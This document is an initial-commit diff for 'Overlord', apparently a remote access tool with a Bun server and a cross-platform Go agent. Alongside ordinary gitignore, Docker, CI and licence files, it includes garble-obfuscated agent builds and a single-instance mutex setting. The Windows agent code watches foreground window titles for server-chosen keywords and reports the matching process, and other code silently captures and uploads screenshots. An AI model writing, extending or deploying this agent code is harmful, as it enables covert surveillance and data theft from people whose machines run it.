inital commit
This commit is contained in:
@@ -0,0 +1,38 @@
|
||||
# Node/Bun
|
||||
node_modules/
|
||||
.next/
|
||||
.cache/
|
||||
dist/
|
||||
.tmp/
|
||||
|
||||
# Database
|
||||
*.db
|
||||
*.db-journal
|
||||
|
||||
# Configuration (contains secrets)
|
||||
config.json
|
||||
|
||||
# Certificates
|
||||
certs/
|
||||
*.crt
|
||||
*.key
|
||||
*.pem
|
||||
*.csr
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
.idea
|
||||
.vscode
|
||||
|
||||
# Git
|
||||
.git
|
||||
.gitignore
|
||||
.gitattributes
|
||||
|
||||
# Build outputs
|
||||
dist-clients/
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
logs/
|
||||
@@ -0,0 +1,53 @@
|
||||
# Overlord Configuration (Optional Overrides)
|
||||
#
|
||||
# Most users don't need to create a .env file!
|
||||
# The docker-compose.yml has sensible defaults.
|
||||
#
|
||||
# On first startup, secrets are auto-generated and persisted in ./data/save.json
|
||||
# when not explicitly provided.
|
||||
#
|
||||
# Only create .env if you want to customize:
|
||||
|
||||
# ============================================
|
||||
# PRODUCTION: Use pre-built image
|
||||
# ============================================
|
||||
# Set this to pull from registry instead of building locally
|
||||
# DOCKER_IMAGE=ghcr.io/yourusername/overlord-server:latest
|
||||
|
||||
# ============================================
|
||||
# OPTIONAL: Custom initial admin username
|
||||
# ============================================
|
||||
# Default is "admin" - change if you prefer a different username
|
||||
# OVERLORD_USER=myadmin
|
||||
|
||||
# OPTIONAL: Custom initial admin password
|
||||
# Leave empty to generate and persist to save.json
|
||||
# OVERLORD_PASS=
|
||||
|
||||
# ============================================
|
||||
# OPTIONAL: Custom port
|
||||
# ============================================
|
||||
# Default is 5173
|
||||
# PORT=8080
|
||||
|
||||
# ============================================
|
||||
# ADVANCED: Custom JWT secret
|
||||
# ============================================
|
||||
# Leave empty to auto-generate and persist to save.json (recommended)
|
||||
# JWT_SECRET=
|
||||
|
||||
# OPTIONAL: Agent authentication token
|
||||
# Leave empty to auto-generate and persist to save.json
|
||||
# OVERLORD_AGENT_TOKEN=
|
||||
|
||||
# ============================================
|
||||
# ADVANCED: Custom TLS certificates
|
||||
# ============================================
|
||||
# Leave as defaults to use auto-generated self-signed certs
|
||||
# OVERLORD_TLS_CERT=/custom/path/server.crt
|
||||
# OVERLORD_TLS_KEY=/custom/path/server.key
|
||||
|
||||
# Agent builder settings (only needed if building agents)
|
||||
# TARGETS=windows/amd64,windows/386,windows/arm64,linux/amd64,linux/arm64,linux/arm/v7,darwin/amd64,darwin/arm64
|
||||
# GO_BUILD_FLAGS=-trimpath
|
||||
# LDFLAGS=-s -w
|
||||
@@ -0,0 +1,15 @@
|
||||
# Force LF line endings for shell scripts
|
||||
*.sh text eol=lf
|
||||
|
||||
# Force LF line endings for Go source files
|
||||
*.go text eol=lf
|
||||
|
||||
# Force CRLF for Windows batch files
|
||||
*.bat text eol=crlf
|
||||
|
||||
# Binary files
|
||||
*.png binary
|
||||
*.jpg binary
|
||||
*.jpeg binary
|
||||
*.ico binary
|
||||
*.db binary
|
||||
@@ -0,0 +1,58 @@
|
||||
name: overlord-ci
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
REGISTRY: ghcr.io
|
||||
IMAGE_NAME: ${{ github.repository }}
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Normalize image name
|
||||
run: echo "IMAGE_NAME=${GITHUB_REPOSITORY,,}" >> $GITHUB_ENV
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Log in to GitHub Container Registry
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Extract metadata
|
||||
id: meta
|
||||
uses: docker/metadata-action@v5
|
||||
with:
|
||||
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
|
||||
tags: |
|
||||
type=semver,pattern={{version}}
|
||||
type=semver,pattern={{major}}.{{minor}}
|
||||
type=semver,pattern={{major}}
|
||||
type=raw,value=latest,enable={{is_default_branch}}
|
||||
|
||||
- name: Build and push server image
|
||||
uses: docker/build-push-action@v5
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile
|
||||
push: true
|
||||
tags: ${{ steps.meta.outputs.tags }}
|
||||
labels: ${{ steps.meta.outputs.labels }}
|
||||
cache-from: type=gha
|
||||
cache-to: type=gha,mode=max
|
||||
platforms: linux/amd64,linux/arm64
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
# Node/Bun
|
||||
node_modules/
|
||||
bun.lockb
|
||||
.next/
|
||||
.cache/
|
||||
dist/
|
||||
.tmp/
|
||||
*.db
|
||||
|
||||
# Build output
|
||||
Overlord-Server/public/assets/tailwind.css
|
||||
|
||||
# Configuration
|
||||
config.json
|
||||
|
||||
# Docker
|
||||
.env
|
||||
|
||||
# Go
|
||||
bin/
|
||||
*.exe
|
||||
*.test
|
||||
*.out
|
||||
|
||||
# Certificates (auto-generated)
|
||||
certs/
|
||||
*.crt
|
||||
*.key
|
||||
*.pem
|
||||
*.csr
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
dist-clients/*
|
||||
|
||||
# Plugins
|
||||
Overlord-Server/plugins/*.zip
|
||||
Overlord-Server/plugins/.plugin-state.json
|
||||
plugin-sample-go/*.wasm
|
||||
plugin-sample-go/*.zip
|
||||
|
||||
# Runtime data
|
||||
Overlord-Server/data/
|
||||
|
||||
# Release packaging output
|
||||
release/
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
# Overlord Server Dockerfile
|
||||
FROM oven/bun:1 AS base
|
||||
WORKDIR /app
|
||||
|
||||
# Install Go for agent building and other tools
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
openssl \
|
||||
curl \
|
||||
ca-certificates \
|
||||
wget \
|
||||
git \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Go (latest stable version)
|
||||
ENV GO_VERSION=1.25.6
|
||||
ARG TARGETARCH
|
||||
RUN case "${TARGETARCH}" in \
|
||||
amd64) GO_ARCH=amd64 ;; \
|
||||
arm64) GO_ARCH=arm64 ;; \
|
||||
*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
|
||||
esac \
|
||||
&& wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
|
||||
&& tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
|
||||
&& rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz
|
||||
|
||||
ENV PATH="/usr/local/go/bin:${PATH}"
|
||||
ENV GOPATH="/go"
|
||||
ENV PATH="${GOPATH}/bin:${PATH}"
|
||||
|
||||
# Install garble for obfuscated agent builds (requires Go 1.25+)
|
||||
RUN go install mvdan.cc/garble@latest
|
||||
|
||||
# Copy package files
|
||||
COPY Overlord-Server/package.json Overlord-Server/bun.lockb* ./
|
||||
|
||||
# Install dependencies
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
# Copy source code and client code (needed for builds)
|
||||
COPY Overlord-Server/ ./
|
||||
COPY Overlord-Client/ ../Overlord-Client/
|
||||
|
||||
# Create necessary directories
|
||||
RUN mkdir -p certs public data
|
||||
|
||||
# Expose the default port
|
||||
EXPOSE 5173
|
||||
|
||||
# Set environment variables (can be overridden)
|
||||
ENV PORT=5173
|
||||
ENV HOST=0.0.0.0
|
||||
ENV DATA_DIR=/app/data
|
||||
ENV NODE_ENV=production
|
||||
|
||||
# Run the server
|
||||
CMD ["bun", "run", "src/index.ts"]
|
||||
@@ -0,0 +1,41 @@
|
||||
sudo apt remove $(dpkg --get-selections docker.io docker-compose docker-doc podman-docker containerd runc | cut -f1)
|
||||
# Add Docker's official GPG key:
|
||||
sudo apt update
|
||||
sudo apt install ca-certificates curl
|
||||
sudo install -m 0755 -d /etc/apt/keyrings
|
||||
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
|
||||
sudo chmod a+r /etc/apt/keyrings/docker.asc
|
||||
|
||||
# Add the repository to Apt sources:
|
||||
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
|
||||
Types: deb
|
||||
URIs: https://download.docker.com/linux/debian
|
||||
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")
|
||||
Components: stable
|
||||
Signed-By: /etc/apt/keyrings/docker.asc
|
||||
EOF
|
||||
|
||||
sudo apt update -y
|
||||
|
||||
# Add Docker's official GPG key:
|
||||
sudo apt update
|
||||
sudo apt install ca-certificates curl
|
||||
sudo install -m 0755 -d /etc/apt/keyrings
|
||||
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
|
||||
sudo chmod a+r /etc/apt/keyrings/docker.asc
|
||||
|
||||
# Add the repository to Apt sources:
|
||||
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
|
||||
Types: deb
|
||||
URIs: https://download.docker.com/linux/debian
|
||||
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")
|
||||
Components: stable
|
||||
Signed-By: /etc/apt/keyrings/docker.asc
|
||||
EOF
|
||||
|
||||
sudo apt update -y
|
||||
|
||||
|
||||
sudo systemctl status docker
|
||||
|
||||
sudo systemctl start docker
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,28 @@
|
||||
# Overlord Client Environment Configuration
|
||||
# Copy this file to .env or set as environment variables
|
||||
|
||||
# Server URL - MUST use wss:// (TLS is always enabled on server)
|
||||
OVERLORD_SERVER=wss://your-server.com:5173
|
||||
|
||||
# TLS Configuration
|
||||
# For development with self-signed certificates:
|
||||
# OVERLORD_TLS_INSECURE_SKIP_VERIFY=true
|
||||
|
||||
# For production, trust the server certificate (copy server.crt from server):
|
||||
# OVERLORD_TLS_CA=./certs/server.crt
|
||||
OVERLORD_TLS_INSECURE_SKIP_VERIFY=false
|
||||
|
||||
# Client certificate for mutual TLS (optional, advanced)
|
||||
# OVERLORD_TLS_CLIENT_CERT=./certs/client.crt
|
||||
# OVERLORD_TLS_CLIENT_KEY=./certs/client.key
|
||||
|
||||
# Mutex (single-instance) configuration
|
||||
# Leave empty or set to "none" to allow multiple instances
|
||||
# OVERLORD_MUTEX=overlord-client
|
||||
|
||||
# Capture Configuration
|
||||
OVERLORD_CAPTURE_INTERVAL=20s
|
||||
OVERLORD_DISABLE_CAPTURE=false
|
||||
|
||||
# Mode: dev, development, local, release, prod, production
|
||||
OVERLORD_MODE=production
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package activewindow
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func Start(_ context.Context, _ *runtime.Env) error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
//go:build windows
|
||||
|
||||
package activewindow
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
procGetWindowTextLengthW = user32.NewProc("GetWindowTextLengthW")
|
||||
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
|
||||
)
|
||||
|
||||
func Start(ctx context.Context, env *runtime.Env) error {
|
||||
if env == nil {
|
||||
return nil
|
||||
}
|
||||
log.Printf("activewindow: starting monitor")
|
||||
defer log.Printf("activewindow: stopped")
|
||||
|
||||
ticker := time.NewTicker(1 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
var lastTitle string
|
||||
var lastPID uint32
|
||||
lastSent := make(map[string]int64)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
keywords := env.GetNotificationKeywords()
|
||||
if len(keywords) == 0 {
|
||||
continue
|
||||
}
|
||||
minIntervalMs := env.GetNotificationMinIntervalMs()
|
||||
title, pid := getActiveWindow()
|
||||
if title == "" || pid == 0 {
|
||||
continue
|
||||
}
|
||||
if title == lastTitle && pid == lastPID {
|
||||
continue
|
||||
}
|
||||
lastTitle = title
|
||||
lastPID = pid
|
||||
match := matchKeyword(title, keywords)
|
||||
if match == "" {
|
||||
continue
|
||||
}
|
||||
if minIntervalMs > 0 {
|
||||
key := strings.ToLower(match)
|
||||
if last, ok := lastSent[key]; ok {
|
||||
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
|
||||
continue
|
||||
}
|
||||
}
|
||||
lastSent[key] = time.Now().UnixMilli()
|
||||
}
|
||||
procPath := queryProcessPath(pid)
|
||||
procName := filepath.Base(procPath)
|
||||
if procName == "." || procName == "" {
|
||||
procName = "unknown"
|
||||
}
|
||||
note := wire.Notification{
|
||||
Type: "notification",
|
||||
Category: "active_window",
|
||||
Title: title,
|
||||
Process: procName,
|
||||
ProcessPath: procPath,
|
||||
PID: int32(pid),
|
||||
Keyword: match,
|
||||
TS: time.Now().UnixMilli(),
|
||||
}
|
||||
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
|
||||
log.Printf("activewindow: send notification failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func matchKeyword(title string, keywords []string) string {
|
||||
if title == "" {
|
||||
return ""
|
||||
}
|
||||
lower := strings.ToLower(title)
|
||||
for _, kw := range keywords {
|
||||
k := strings.ToLower(strings.TrimSpace(kw))
|
||||
if k == "" {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(lower, k) {
|
||||
return kw
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getActiveWindow() (string, uint32) {
|
||||
hwnd := getForegroundWindow()
|
||||
if hwnd == 0 {
|
||||
return "", 0
|
||||
}
|
||||
length := getWindowTextLength(hwnd)
|
||||
if length == 0 {
|
||||
return "", getWindowPID(hwnd)
|
||||
}
|
||||
buf := make([]uint16, length+1)
|
||||
_, _, _ = procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
|
||||
return windows.UTF16ToString(buf), getWindowPID(hwnd)
|
||||
}
|
||||
|
||||
func getForegroundWindow() windows.Handle {
|
||||
hwnd, _, _ := procGetForegroundWindow.Call()
|
||||
return windows.Handle(hwnd)
|
||||
}
|
||||
|
||||
func getWindowTextLength(hwnd windows.Handle) int {
|
||||
length, _, _ := procGetWindowTextLengthW.Call(uintptr(hwnd))
|
||||
return int(length)
|
||||
}
|
||||
|
||||
func getWindowPID(hwnd windows.Handle) uint32 {
|
||||
var pid uint32
|
||||
_, _, _ = procGetWindowThreadProcessId.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
|
||||
return pid
|
||||
}
|
||||
|
||||
func queryProcessPath(pid uint32) string {
|
||||
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
buf := make([]uint16, 1024)
|
||||
size := uint32(len(buf))
|
||||
if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size); err != nil {
|
||||
return ""
|
||||
}
|
||||
return windows.UTF16ToString(buf[:size])
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"image"
|
||||
"image/jpeg"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/kbinani/screenshot"
|
||||
)
|
||||
|
||||
var (
|
||||
activeDisplays = screenshot.NumActiveDisplays
|
||||
captureDisplayFn = screenshot.CaptureDisplay
|
||||
)
|
||||
|
||||
func captureLoop(ctx context.Context, env *rt.Env) {
|
||||
|
||||
if supportsCapture() {
|
||||
_ = captureAndSend(ctx, env)
|
||||
}
|
||||
|
||||
<-ctx.Done()
|
||||
}
|
||||
|
||||
func supportsCapture() bool {
|
||||
|
||||
return safeDisplayCount() > 0
|
||||
}
|
||||
|
||||
func captureAndSend(ctx context.Context, env *rt.Env) error {
|
||||
if safeDisplayCount() == 0 {
|
||||
return nil
|
||||
}
|
||||
img, err := safeCaptureDisplay(0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if img == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
buf := bytes.Buffer{}
|
||||
if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 60}); err != nil {
|
||||
return err
|
||||
}
|
||||
frame := wire.Frame{
|
||||
Type: "frame",
|
||||
Header: wire.FrameHeader{Monitor: 0, FPS: 1, Format: "jpeg"},
|
||||
Data: buf.Bytes(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, frame)
|
||||
}
|
||||
|
||||
func CaptureNow(ctx context.Context, env *rt.Env) error {
|
||||
if !supportsCapture() {
|
||||
return nil
|
||||
}
|
||||
return captureAndSend(ctx, env)
|
||||
}
|
||||
|
||||
func safeCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
|
||||
}
|
||||
}()
|
||||
img, err := captureDisplayFn(display)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func safeDisplayCount() int {
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
}
|
||||
}()
|
||||
return activeDisplays()
|
||||
}
|
||||
|
||||
func monitorCount() int {
|
||||
n := safeDisplayCount()
|
||||
if n <= 0 {
|
||||
|
||||
return 1
|
||||
}
|
||||
return n
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,13 @@
|
||||
//go:build linux
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"image"
|
||||
)
|
||||
|
||||
var activeDisplays = func() int { return 0 }
|
||||
|
||||
var captureDisplayFn = func(int) (*image.RGBA, error) { return nil, nil }
|
||||
|
||||
func displayCount() int { return 0 }
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import "image"
|
||||
|
||||
func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
|
||||
return captureDisplayBitBlt(display)
|
||||
}
|
||||
|
||||
func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
|
||||
img, err := captureDisplayBitBlt(display)
|
||||
if err == nil && img != nil {
|
||||
return img, nil
|
||||
}
|
||||
return CaptureDisplayRGBA(display)
|
||||
}
|
||||
@@ -0,0 +1,434 @@
|
||||
package capture
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"image"
|
||||
"image/color"
|
||||
"image/jpeg"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
type recordingWriter struct {
|
||||
msgs [][]byte
|
||||
types []websocket.MessageType
|
||||
}
|
||||
|
||||
func (w *recordingWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
|
||||
w.types = append(w.types, messageType)
|
||||
w.msgs = append(w.msgs, append([]byte(nil), p...))
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestCaptureAndSend_NoDisplays(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
activeDisplays = func() int { return 0 }
|
||||
t.Cleanup(func() { activeDisplays = originalCount })
|
||||
|
||||
writer := &recordingWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
if err := CaptureAndSend(context.Background(), env); err != nil {
|
||||
t.Fatalf("expected nil error when no displays, got %v", err)
|
||||
}
|
||||
if len(writer.msgs) != 0 {
|
||||
t.Fatalf("expected no messages when no displays, got %d", len(writer.msgs))
|
||||
}
|
||||
}
|
||||
|
||||
func TestCaptureAndSend_SendsFrame(t *testing.T) {
|
||||
originalCount := activeDisplays
|
||||
originalCapture := captureDisplayFn
|
||||
activeDisplays = func() int { return 1 }
|
||||
